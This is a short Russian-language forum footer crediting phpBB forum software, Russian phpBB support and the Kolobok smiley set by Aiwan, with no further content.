Создано на основе phpBB® Forum Software © phpBB Group
Русская поддержка phpBB | Kolobok smiles © Aiwan